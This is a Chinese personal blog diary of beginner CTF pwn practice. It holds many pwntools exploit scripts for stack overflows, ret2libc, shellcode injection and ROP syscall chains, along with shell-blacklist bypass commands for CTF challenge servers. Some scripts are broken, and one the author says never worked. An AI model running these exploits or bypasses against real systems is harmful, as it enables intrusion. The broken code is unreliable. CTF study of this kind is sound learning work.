🥰pwn入门刷题日记~

刷题 Pwn
发布日期:   2024-11-29

🥰pwn入门刷题日记~

2024-11-29

[SWPUCTF 2021 新生赛]nc签到

题目：

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import os

art = '''

   ((  "####@@!!$$    ))
       `#####@@!$$`  ))
    ((  '####@!!$:
   ((  ,####@!!$:   ))
       .###@!!$:
       `##@@!$:
        `#@!!$
  !@#    `#@!$:       @#$
   #$     `#@!$:       !@!
            '@!$:
        '`\   "!$: /`'
           '\  '!: /'
             "\ : /"
  -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\
" -."-.\\"-."//.-".`-."_\\-.".-\".-//'''
print(art)
print("My_shell_ProVersion")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']

while True:
    command = input()
    for i in blacklist:
        if i in command:
            exit(0)
    os.system(command)

才知道是黑名单绕过——

参考文章：NSSCTF——Pwn 刷题笔记 – G3rling’s Blog

一些方法：

方法一 使用引号截断绕过+$IFS$9(空格)绕过

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l‘s'
c'at'$IFS$9flag

方法二 转义符\＋$IFS$9(空格)绕过

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c\at$IFS$9flag

方法三 tac绕过

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tac$IFS$9flag

方法四 获取root权限

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bin/sh
bash
su
sh
$0

exp：

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from pwn import *
p = remote(“1.14.71.254”,28612)
p.sendline(“tac$IFS$9flag”)
print(p.recv())
p.interactive()

[SWPUCTF 2021 新生赛]gift_pwn

image-20241129192209329

64位，部分保护

image-20241129192146235

要导向0x4005b6

image-20241129192256175

读取16个（看起来空间还是很大的）

exp：

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from pwn import *
p = remote('node4.anna.nssctf.cn',28520)
payload = b'A'*0x10+b'B'*0x8+p64(0x4005b6)
p.send(payload)  #pwn爹sendline会多加一个换行符
p.interactive()
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from pwn import *
p = remote('node4.anna.nssctf.cn',28520)
shellcode = asm(shellcraft.sh())
shellcode_addr = your_addr
ret = 0x4004c3    # ROPgadget --binary pwn only ”ret|pop“
payload = shellcode.ljust(0x10,'a')+shellcode.ljust(0x8,'b')+p64(ret)+p64(shellcode_addr)
p.send(payload)
p.interactive()

[LitCTF 2023]只需要nc一下~

？env？

或者：

echo $FLAG

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# cat Dockerfile
FROM python:3.11

COPY . /app

ENV FLAG=NSSCTF{123456}

RUN echo $FLAG > /flag.txt

WORKDIR /app

EXPOSE 5000
CMD ["python", "app.py"]
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#cat app.py
import os
import subprocess
import socketserver

class TerminalHandler(socketserver.StreamRequestHandler):
    def handle(self):
        self.intro()
        while True:
            try:
                data = self.rfile.readline().strip()
                if not data:
                    break
                result = self.execute_command(data)
                self.send_result(result)
            except Exception as e:
                self.send_error(str(e))

    def intro(self):
        self.wfile.write(b"Welcome to the virtual terminal!\n")

    def execute_command(self, command):
        output = subprocess.check_output(command, shell=True)
        return output

    def send_result(self, result):
        self.wfile.write(result)

    def send_error(self, error):
        self.wfile.write(b"Error: " + error.encode() + b"\n")

if __name__ == "__main__":
    HOST, PORT = "0.0.0.0", 9999
    server = socketserver.ThreadingTCPServer((HOST, PORT), TerminalHandler)
    server.serve_forever()

[CISCN 2019华北]PWN1

image-20241129194410208

image-20241129200944813

很好的小数pwn

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from pwn import *
p = remote('node4.anna.nssctf.cn',28123)
payload = b'A'*0x2c+p64(0x41348000)
p.send(payload)
p.interactive()

[NISACTF 2022]ReorPwn?

刚吐槽第三题对web手太友好了，

发现这一题真是re

image-20241129200719416

倒着输入

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# cat flag
galf tac

[SWPUCTF 2022 新生赛]Does your nc work？

image-20241129201210505

[BJDCTF 2020]babystack2.0

很好的题，被pwn✌骂了，因为抄错数字，pwn✌debug了半天。

很好的逆向困难复现（√（总是卡在奇怪的地方（很好很好

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from pwn import *
context(os='linux',arch='amd64',log_level='debug')
backdoor = 0x400726
ret = 0x400599
p = remote('node4.anna.nssctf.cn','28859')
p.sendlineafter(b"name:",b'-1')
payload = b'A'*0x10 + b'B'*8  + p64(backdoor)
p.sendafter(b"name?",payload)
p.interactive()

[SWPUCTF 2022 新生赛]FindanotherWay

image-20241129222440496

image-20241129222507904

2022-11-30

[BJDCTF 2020]babystack

？前面那个题的简单版

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from pwn import *

p = remote(‘node4.anna.nssctf.cn’,28931)
p.sendlineafter(b’Please input the length of your name:\n’,b’30’)
Payload = b’a’*(0x10 + 8) + p64(0x04006EA)
p.sendline(Payload)
p.interactive()

[HNCTF 2022 Week1]easync

找——

nssctf{Nc_@nd_g3t5h31L}

[NISACTF 2022]ezstack

？为什么呢

image-20241130165506583

image-20241130165531141

image-20241130165540458

[HGAME 2023 week1]easyenc

image-20241130223903631

普通逆向。。

NSSCTF{4ddit1on_is_a_rever5ible_0peration}

2024-11-31

[NISACTF 2022]shop_pwn

[???]

image-20241201153311366

image-20241201153248602

image-20241201153500412

2024-12-4

一道保护全开的题目，//TODO

main：

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int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-94h]
  char buf[136]; // [rsp+10h] [rbp-90h] BYREF
  unsigned __int64 v6; // [rsp+98h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
  alarm(0x3Cu);
  setbuf(_bss_start, 0LL);
  welcome();
  puts("Can you give me your name?");
  v4 = read(0, buf, 0x100uLL);
  if ( buf[v4 - 1] == 10 )
    buf[v4 - 1] = 0;
  printf("\nHello %s.\n\n", buf);
  puts("Do you have anything you want to say to me?");
  read(0, buf, 0x100uLL);
  puts("See you next time!");
  return 0;
}

（感觉思路是很明确的，理论成立，实践拉跨（欸嘿

这是第一版写的答案：（orz一直没打通，然后pwn✌发了wp看着问题在哪里

（还是没太明白，留着等学的扎实一点再看吧（欸嘿

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from pwn import *

p = process('./vuln') 
elf = ELF('./vuln')
libc = ELF('./libc.so.6')//?

#------leak canary elf_base------#
p.recvuntil(b"What's your name:")
payload1 = b'A' * 0x88 +b'A' //136(10) 这里额外的A覆盖返回地址（但是不知道 为什么（坏））
p.sendline(payload1)
p.recvuntil(b'A'*0x88)

canary1 = u64(p,recv(8))-ord('A') // 
elf_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x10a0 //奇怪的是我这边偏移这么大（？
print(hex(canary1))
print(hex(elf_base))

#-------leak libc_base-------#
p.recvuntil(b"Hello ")
leak = p.recvline().strip()
canary2 = u64(leak.ljust(8, b'\x00'))  
log.success(f"Leaked Canary: {hex(canary2)}")

pop_rdi_ret = 0xcb3
main_addr = elf_base + 0xaa2 //?
payload2 = b'A' * 144 + p64(canary) + b'B' * 8  
payload2 += p64(elf_base)
payload2 += p64(puts_plt)  
payload2 += p64(main_addr) 
payload2 += p64(puts_got)  
p.sendafter('say?',payload2)
puts_leak = u64(p.recv(6).ljust(8, b'\x00'))  
libc_base = puts_leak - puts_offset  
log.success(f"Leaked libc base: {hex(libc_base)}")
#------ret2 one_gadget--------#
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload3 = b'A' * 144
payload3 += p64(canary)
payload3 += b'B' * 8 
payload3 += p64(ret)  
payload3 += p64(system)
payload3 += p64(0)  
payload3 += p64(bin_sh)  
p.sendafter('say?',payload3)

p.interactive()

蚌，理论和实践差太多了。
orz多做题喵。。

[HGAME 2023 week1]test_nc

？nc

[watevrCTF 2019]Voting Machine 1

甚至看了一下这个flag展示函数，自动展示（感恩）

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from pwn import *
p = remote("node5.anna.nssctf.cn",20006)
backdoor = 0x400807
payload = b'A'*(0x2+8) + p64(backdoor)
p.sendline(payload)
p.interactive()

[HNCTF 2022 Week1]easyoverflow

（终于知道最基础的ret2text是什么样子了（
存一个c：

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#include<stdio.h>
int main()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);
    puts("Input something");
    char name[30];
    int number=0;
    gets(name);
    if(number!=0){
        puts("You win.");
        system("cat flag");
    }
    return 0;
}

exp：

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from pwn import *
p = remote("node5.anna.nssctf.cn",29251)
#backdoor = 0x400807
payload = b'A'*(0x30-0x4)+b'B'
p.sendline(payload)
p.interactive()

[NISACTF 2022]ezpie

PIE保护的ret2text hhhh可爱捏

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from pwn import *
context(os = 'linux',arch='i386',log_level='debug')
p = remote("node7.anna.nssctf.cn",26619)

main_addr = 0x0770
backdoor_addr = 0x080F
p.recvline()
base = int(p.recvuntil('\n',drop=True),16)

payload = b'A'*(0x28+4)+p32( base + backdoor_addr-main_addr)
p.sendline(payload)
p.interactive()

[GFCTF 2021]where_is_shell

正好是这页的最后一个🥰🥰
题目提示:
代码段是有r权限的的，所以字符串可以在代码段上

记得之前似乎有看到过，调用shell的方法之一是system($0)
这次才知道$0再机器码中为\x24\x30
似乎比我想的复杂一点（

pop rdi ret :
一种常见的ROPgadget，ret弹出一个地址，再使用pop rdi ret 把之前的shell地址存入rdi寄存器中，最后再调用system函数

这时因为rdi有之前存入的$0，很好的函数调用👍

ROPgadget –binary shell –only “pop|ret”
┌──(kali㉿kali)-[~/Desktop]

└─$ ROPgadget –binary shell –only “pop|ret”

Gadgets information

============================================================

0x00000000004005dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

0x00000000004005de : pop r13 ; pop r14 ; pop r15 ; ret

0x00000000004005e0 : pop r14 ; pop r15 ; ret

0x00000000004005e2 : pop r15 ; ret

0x00000000004005db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; > ret

0x00000000004005df : pop rbp ; pop r14 ; pop r15 ; ret

0x00000000004004b8 : pop rbp ; ret

0x00000000004005e3 : pop rdi ; ret

0x00000000004005e1 : pop rsi ; pop r15 ; ret

0x00000000004005dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

0x0000000000400416 : ret

Unique gadgets found: 11

pop rdi ret 0x4005e3 | ret 0x400416

接着是之前经常提到的栈对齐问题

x86-64 ABI（应用程序二进制接口）保证了在调用指令上的 16-bits 对齐。libc 利用了这一点，并使用 SSE 数据传输指令来优化执行；特别是在 system 中会使用诸如 movaps 等指令。
这意味着如果栈不是 16-bits 对齐的（即 RSP 不是 16 的倍数），那么 ROP 链在执行 system 时会失败。

修复方法很简单，在你的 ROP 链中调用 system 之前，插入一个单独的 ret gadget：

exp:

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from pwn import *
context(os = 'linux',arch='i386',log_level='debug')
p = remote("node4.anna.nssctf.cn",28984)
elf = ELF('./shell')

pop_rdi_ret = 0x4005e3
ret = 0x400416
backdoor = 0x400541  //这里是1，因为第一个是call的机器码
system_addr = elf.symbols['system']
payload = b'b'*(0x10+8)+p64(ret_addr)+p64(pop_rdi_ret)+p64(backdoor)+p64(system_addr)

p.sendafter('find it?\n',payload)
p.interactive()

2024-12-5

[NSSCTF 2022 Spring Recruit]R3m4ke?

char v4[32]; // [rsp+0h] [rbp-20h] BYREF

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from pwn import *
context(os = 'linux',arch='i386',log_level='debug')
p = remote("node4.anna.nssctf.cn",28301)
elf = ELF('./r3m4ke1t')

backdoor = 0x040072C
payload = b'A'*(0x20+8) + p64(backdoor)
p.send(payload)
p.interactive()

[HNCTF 2022 Week1]ret2shellcode

新的东西！
ret2shellcode
感谢pwn爹！！！寥寥几句讲的好清楚

这里要确认buff的bss段是否可写：

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from pwn import *
context(os = 'linux',arch='amd64',log_level='debug')
p = remote("node5.anna.nssctf.cn",21499)
elf = ELF('./shellcode')

shellcode = asm(shellcraft.sh())
target = 0x4040A0
payload = shellcode.ljust(256+8) + p64(target)
p.send(payload)
p.interactive()

注意这里是amd64（！！！

[GDOUCTF 2023]Shellcode

NX保护，amd64

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from pwn import *
context(os = 'linux',arch='amd64',log_level='debug')
p = remote("node4.anna.nssctf.cn",28209)
elf = ELF('./pwn12')

shellcode = asm(shellcraft.cat("flag"))
p.sendlineafter("Please.",shellcode)
target = 0x6010A0
payload = b'a'*(0xA+8) + p64(target)
p.sendafter("start!",payload)
p.interactive()
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from pwn import *
context(os = 'linux',arch='amd64',log_level='debug')
p = remote("node4.anna.nssctf.cn",28209)
elf = ELF('./pwn12')

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
p.sendlineafter("Please.",shellcode)
target = 0x6010A0
payload = b'a'*(0xA+8) + p64(target)
p.sendafter("start!",payload)
p.interactive()

2024-12-10

好久没写了
（也不是（周六赤石去了

[SWPUCTF 2022 新生赛]贪吃蛇

？！直接静态看flag加密。xor0x52
欸嘿

[HGAME 2022 week1]test your gdb

有金丝雀

image-20241210225914078

动调解除密文：

debug002:00007FA5FC928E90 dq 0B0361E0E8294F147h

debug002:00007FA5FC928E98 dq 8C09E0C34ED8A6A9h

image-20241210225740471

接着后门：

image-20241210225810403

exp：

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from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = remote('node5.anna.nssctf.cn', 27287)
elf = ELF('./service')

backdoor = 0x401256
password = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
p.sendafter(b'enter your pass word\n', password)

canary = u64(p.recv()[0x20 - 0x08:0x20])
payload = cyclic(0x20 - 0x08) + p64(canary) + p64(0) + p64(backdoor)
p.sendline(payload)

p.interactive()

2024-12-14

[LitCTF 2023]口算题卡

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from pwn import *
p = remote("node4.anna.nssctf.cn", 28187)
context(os="linux", arch="i386", log_level="debug")
recv_header = p.recvuntil(b"Have fun!\n")

for x in range(100):
    p.recvuntil(b"What is")
    
    key = p.recvuntil(b"?")
    payload = flat([
        str(eval(key[:-1]))
    ])
    print(eval(key[:-1]))
    p.sendline(payload)
p.interactive()

[HUBUCTF 2022 新生赛]fmt

[BJDCTF 2020]babyrop

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/home/kali/Desktop/pwn90: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebe33bb41cb0dcdde518b9dfb38eb03a104ee0b7, not stripped

思路：

  • 利用puts函数泄露libc版本
  • 计算偏移
  • 找system和bin/sh
  • 构造rop

image-20241214215717407

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from pwn import * 

context (os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux','splitw','-h','-l','140']

pwnfile = './pwn90'
elf = ELF(pwnfile)

#io = process(pwnfile)
io = remote('node4.anna.nssctf.cn',28497)

#gdb.attach(io)

pop_rdi = 0x400733
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
pay = b'b' * (0x20+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendafter(b'story!',pay)

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - 0x6f690
system_addr = libc_base + 0x45390
bin_sh = libc_base + 0x18cd57
pay2 = b'b' * (0x20+8) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
io.recvuntil('sword and tell me u story!')
io.sendline(pay2)


io.interactive()

2024-12-21

rip

image-20241221223350489

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from pwn import * 

context (os='linux', arch='amd64', log_level='debug')
p = remote('node5.buuoj.cn',28867)
payload = b'a'*(0xF+0x8)+p64(0x40118A)
p.sendline(payload)
p.interactive()

warmup_csaw_2016

image-20241221223949389

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from pwn import * 

context (os='linux', arch='amd64', log_level='debug')
p = remote('node5.buuoj.cn',25914)
backdoor = 0x40060D
payload = b'a'*(0x40+0x8)+p64(backdoor)

p.sendline(payload)
p.interactive()

2024-12-22

学了点基础知识

关于堆的一些小东西

2024-12-24

[HNCTF 2022 Week1]ezcmp

不想和我说话，典型的IDA动调思维（x
断点断在read前面，直接读取buff值，拿出来：

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from pwn import *
p = remote('node5.anna.nssctf.cn',25530)
payload = "\x72\x40\x0E\xDC\xAA\x78\x46\x14\xE2\xB0\x7E\x4C\x1A\xE8\xB6\x84\x52\x20\xEE\xBC\x8A\x58\x26\xF4\xC2\x90\x5E\x2C\xCB\xC8"
p.sendline(payload)
p.interactive()

当然gdb（

image-20241224143609848

image-20241224143547039

[?]???

2024-12-27

[MoeCTF 2021]ret2text_ez

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from pwn import *

p = remote('node5.anna.nssctf.cn',22826)
backdoor = 0x0401196
payload = b'A'*(0x20+0x8)+p64(backdoor)
p.send(payload)

p.interactive()

[GWCTF 2019]xxor

2025-1-3

一直在写大作业们（狡辩）

2025-3-17

[GDOUCTF 2023]Shellcode

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from pwn import *

context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.anna.nssctf.cn',28168)
#io=process(‘./pwn’)
cat_flag=asm(shellcraft.cat('flag'))
payload=b'a'*(0x0A+0x08)+p64(0x6010a0)
io.sendlineafter(b'Please.',cat_flag)
io.sendlineafter(b'start!',payload)
io.interactive()

[CISCN 2023 初赛]烧烤摊儿

题目分析

image-20250317221008086

静态连接，gadget多，适合ret2syscall

image-20250317224200193

赐名那里可以做到栈溢出（但是有金丝雀）

image-20250317224145381

整数溢出，可以利用整数溢出加钱

image-20250317224131924

这里又复制了一段我们的输入信息

image-20250317224258517

image-20250317224329125

所以我们可以在name中写bin/sh

因为没有开启PIE，地址固定，rdi（存放bin/sh的地址）

exp编写

  1. 构建ROP链
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rdi=0x000000000040264f
rsi=0x000000000040a67e
rdx_rbx=0x0000000004a404b
rax=0x0000000000458827
syscall=0x0000000000402404
bss=0x4e82c0
  • name变量固定

padding 为b'A' * 0x20而不是b'A' * 0x20 + 0x08，/bin/sh\x00字符串已经充当了那0x08的Padding

  • 本题静态连接，可以直接使用ROPGadget构建的ROP连
    • ROPgadget –binary shaokao –ropchain
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from pwn import *
from pwn import p64,u64
 
context(arch='amd64',log_level='debug')
 
io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28716)
elf=ELF('./pwn')
# gdb.attach(io)
# input()
 
io.recvuntil(b'>')
io.sendline(b'2')
io.recvuntil('3. 鸡肉串\n')
io.sendline(b'2')
io.recvuntil('来几串？\n')
io.sendline(b'-100000')
io.recvuntil(b'>')
io.sendline(b'4')
io.recvuntil('老板，你这摊儿，我买了\n')
io.recvuntil('成交\n')
io.recvuntil(b'>')
io.sendline(b'5')
# 0x000000000040264f : pop rdi ; ret
# 0x000000000040a67e : pop rsi ; ret
# 0x0000000000402aae : pop rsp ; ret
# 0x0000000000401b01 : pop rbp ; ret
# 0x0000000000458827 : pop rax ; ret
# 0x00000000004a404b : pop rdx ; pop rbx ; ret
# 0x0000000000402404 : syscall
 
rdi=0x000000000040264f
rsi=0x000000000040a67e
rdx_rbx=0x0000000004a404b
rax=0x0000000000458827
syscall=0x0000000000402404
bss=0x4e82c0
 
payload=b'/bin/sh\x00'+b'a'*0x20
name=0x4E60F0
payload+=p64(rdi)+p64(name)+p64(rsi)+p64(0)+p64(rdx_rbx)+p64(0)+p64(0)+p64(rax)+p64(59)+p64(syscall)
io.recvuntil('请赐名：\n')
io.sendline(payload)
io.interactive()
文章作者: W3nL0u
文章链接: https://github.com/xyy9233/xyy9233.github.io.git/2024/11/29/zhe-ci-zhen-de-xue-pwn-ba/
版权声明: 本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源 W3nL0u !
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